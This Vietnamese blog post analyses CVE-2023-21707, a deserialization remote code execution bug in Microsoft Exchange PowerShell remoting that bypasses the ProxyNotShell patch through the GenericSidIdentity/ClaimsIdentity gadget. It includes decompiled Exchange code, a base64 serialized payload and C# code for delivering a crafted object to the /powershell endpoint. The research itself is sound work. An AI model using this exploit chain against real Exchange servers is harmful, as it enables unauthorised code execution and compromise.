Microsoft Exchange Powershell Remoting Deserialization lead to RCE (CVE-2023–21707)

Jang
6 min readApr 28, 2023

The old bug

Lỗ hổng này được tìm ra trong quá trình phân tích CVE-2022–41082 A.K.A ProxyNotShell, zdi đã có một bài phân tích rất chi tiết về lỗ hổng này tại đây, bạn đọc nên đọc qua trước để hiểu rõ hơn về bài này.
Nếu bạn quá lười để đọc qua thì đây là sơ đồ mô tả ngắn gọn về cách hoạt động của CVE-2022–41082:

Vị trí xảy ra lỗi:

//System.Management.Automation.InternalDeserializer.ReadOneObject()
internal object ReadOneObject(out string streamName)
{
//...
Type targetTypeForDeserialization = psobject.GetTargetTypeForDeserialization(this._typeTable); //[1]
if (null != targetTypeForDeserialization)
{
Exception ex = null;
try
{
object obj2 = LanguagePrimitives.ConvertTo(obj, targetTypeForDeserialization, true, CultureInfo.InvariantCulture, this._typeTable); //[2]
}
//...
}

Tại [2], nếu targetTypeForDeserialization != null, sẽ tiếp tục đi vào nhánh LanguagePrimitives.ConvertTo() để thực hiện convert dữ liệu sang kiểu dữ liệu mà targetTypeForDeserialization chỉ định.

Method LanguagePrimitives.ConvertTo() đã từng được nhắc đến trong section PSObject gadget của Friday the 13th JSON Attacks. Trong đó đã có nói đến về khá nhiều cách mà method này sử dụng để khôi phục lại object/convert object:

  • Call constructor with 1 argument
  • Call setter
  • Call static method “Parse(string)[method 3]
  • Call custom Conversion [method 4]

Với CVE-2022–41082, luồng khai thác sử dụng tới 2 lần LanguagePrimitives.ConvertTo()

  • Lần thứ nhất sử dụng [method 4] để reconstruct type XamlReader. Quá trình này có dùng tới Custom Conversion, ở đây là Microsoft.Exchange.Data.SerializationTypeConverter.ConvertFrom() -> DeserializeObject(). Method này sử dụng BinaryFormatter với một whitelist để deserialize data, trong whitelist có chứa System.UnitySerializationHolder. Hiểu đơn giản thì System.UnitySerializationHolder cho phép chúng ta có thể serialize/deserialize một Type với BinaryFormatter.
  • Lần thứ hai sử dụng tới [method 3], gọi tới method XamlReader.Parse(string) để trigger RCE (với XamlReader vừa được khôi phục)

Bản vá của CVE-2022–41082 chỉ đơn giản là thêm một SurrogateSelector UnitySerializationHolderSurrogateSelector để check lại Type khi deserialize type System.UnitySerializationHolder:

Do đó mà chúng ta không thể xác định một Type bất kỳ để call tới method Parse(string) nữa.

The new one

Quay trở lại với [method 3] của LanguagePrimitives.ConvertTo(), Exchange có implement một custom Conversion: SerializationTypeConverter, method ConvertFrom của class này sẽ gọi trực tiếp tới DeserializeObject [3]:

public override object ConvertFrom(object sourceValue, Type destinationType, IFormatProvider formatProvider, bool ignoreCase)
{
return this.DeserializeObject(sourceValue, destinationType); //[3]
}
private object DeserializeObject(object sourceValue, Type destinationType)
{
if (!this.CanConvert(sourceValue, destinationType, out array, out text, out ex)) //[4]
{
throw ex;
}
//...
using (MemoryStream memoryStream = new MemoryStream(array))
{
AppDomain.CurrentDomain.AssemblyResolve += SerializationTypeConverter.AssemblyHandler;
try
{
int tickCount = Environment.TickCount;
obj = this.Deserialize(memoryStream); //[5]
//...
}
private bool CanConvert(object sourceValue, Type destinationType, out byte[] serializationData, out string stringValue, out Exception error)
{
PSObject psobject = sourceValue as PSObject;
//...
object value = psobject.Properties["SerializationData"].Value; //[6]
if (!(value is byte[]))
{
error = new NotSupportedException(DataStrings.ExceptionUnsupportedDataFormat(value));
return false;
}
//...
stringValue = psobject.ToString();
serializationData = value as byte[];

}

internal object Deserialize(MemoryStream stream)
{
bool strictModeStatus = Serialization.GetStrictModeStatus(DeserializeLocation.SerializationTypeConverter);
return ExchangeBinaryFormatterFactory.CreateBinaryFormatter(DeserializeLocation.SerializationTypeConverter, strictModeStatus, SerializationTypeConverter.allowedTypes, SerializationTypeConverter.allowedGenerics).Deserialize(stream); //[7]
}

Tiếp tục phân tích method DeserializeObject, CanConvert sẽ lấy prop SerializationData từ PSObject ở dạng byte array [6]*, sau đó được pass trực tiếp vào SerializationTypeConverter.Deserialize() -> BinaryFormatter.Deserialize() [7]*.
Ở payload của ProxyNotShell, SerializationData được biểu diễn như sau:

<BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>

Điều duy nhất ngăn chặn Deserialization to RCE ở đây là whitelist SerializationTypeConverter.allowedTypes với khoảng ~1200 allowed types:

List này bao gồm cảSystem.UnitySerializationHolder - type đã bị abuse ở ProxyNotShell.

Trong quá trình phân tích kỹ hơn đoạn này, mình đã tìm ra một biến thể khác của 41082, được đánh số CVE-2023–21707, cũng là nhân vật chính của bài phân tích này.

Về cơ bản 21707 hoạt động dựa trên chính sự lỏng lẻo, scope quá rộng của SerializationTypeConverter.allowedTypes.

Trong list này có một class đáng chú ý Microsoft.Exchange.Security.Authentication.GenericSidIdentity:

Sơ đồ thừa kế của GenericSidIdentity có thể mô hình hóa lại như sau:

GenericSidIdentity
ClientSecurityContextIdentity
System.Security.Principal.GenericIdentity
System.Security.Claims.ClaimsIdentity <---

Nếu đã từng làm qua .NET Deser một vài lần, có thể bạn cũng nhận ra ClaimsIdentity chính là một trong các gadgetchain trong ysoserial.net

Do Microsoft.Exchange.Security.Authentication.GenericSidIdentity là con/cháu của ClaimsIdentity, nên trong quá trình deserialization, ClaimsIdentity sẽ được reconstruct trước tiên, ClaimsIdentity.OnDeserializedMethod() cũng sẽ được gọi -> RCE:

Payload delivery

Mặc dù về mặt logic thì bug vẫn còn ở đó, nhưng bug SSRF ở autodiscover, owassrf đều đã bị patch, cần phải có một cách khác để gửi payload!
Sau khi search google một vòng thì mình có phát hiện ra entrypoint /powershell vẫn có thể access từ remote, nhưng phải thông qua protocol http:

Trên C#, mình có thể sử dụng WSManConnectionInfoRunspaceFactory.CreateRunspace() để connect tới entrypoint này:

string userName = "john";
string password = "";
string uri = "http://exchange.lab.local/powershell";
PSCredential remoteCredential = new PSCredential(userName, ToSecureString(password));
WSManConnectionInfo wsmanConnectionInfo = new WSManConnectionInfo(uri, "http://schemas.microsoft.com/powershell/Microsoft.Exchange", credentials);

wsmanConnectionInfo.AuthenticationMechanism = this.authType;
wsmanConnectionInfo.MaximumConnectionRedirectionCount = 5;
wsmanConnectionInfo.SkipCACheck = true;
wsmanConnectionInfo.SkipCNCheck = true;

this.runspace = RunspaceFactory.CreateRunspace(wsmanConnectionInfo);
this.runspace.Open();

Để gửi payload, mình create 1 Powershell Session với runspace của Exchange vừa tạo phía trên, và payload sẽ được gói vào phần argument khi run command, ví dụ như sau:

object payload = new Payload();
using (PowerShell powerShell = PowerShell.Create())
{
powerShell.Runspace = this.runspace;
powerShell.AddCommand("get-mailbox");
powerShell.AddArgument(payload);
powerShell.Invoke();
}

Điểm mấu chốt ở đây là PowerShell.AddArgument(object) chấp nhận một object bất kỳ là argument. Bước này cũng hoàn toàn giống với đoạn gửi payload ở ProxyNotShell, tuy nhiên được thực hiện một cách programmatically, thay vì craft payload bằng tay!

Class Payload có nội dung như sau:

using System;
public class Payload: Exception
{
private byte[] _serializationData;

public byte[] SerializationData
{
get => _serializationData;
set => _serializationData = value;
}

public Payload(byte[] serializationData)
{
SerializationData = serializationData;
}
}

Class này bắt buộc phải kế thừa System.Exception (lý do cụ thể có thể xem ở bài phân tích của 41082), và phải có public property SerializationData. Property này sẽ hold gadget GenericSidIdentity, nghĩa là gadget dùng để bypass.

Tiếp theo là cần phải tạo một object GenericSidIdentity, và sau đó set field m_serializedClaims = gadgetchain deserialize sinh ra từ ysoserial.net.
Có nhiều cách để làm việc này, mình chọn cách đó là tự khai báo một class mới, thừa kế GenericIdentity

Và sử dụng một Custom Binder để rewrite Class Name trong quá trình serialize payload:

Cuối cùng là gửi payload thôi ¯_(ツ)_/¯:
Call stack khi exploit:

PoC:

--

--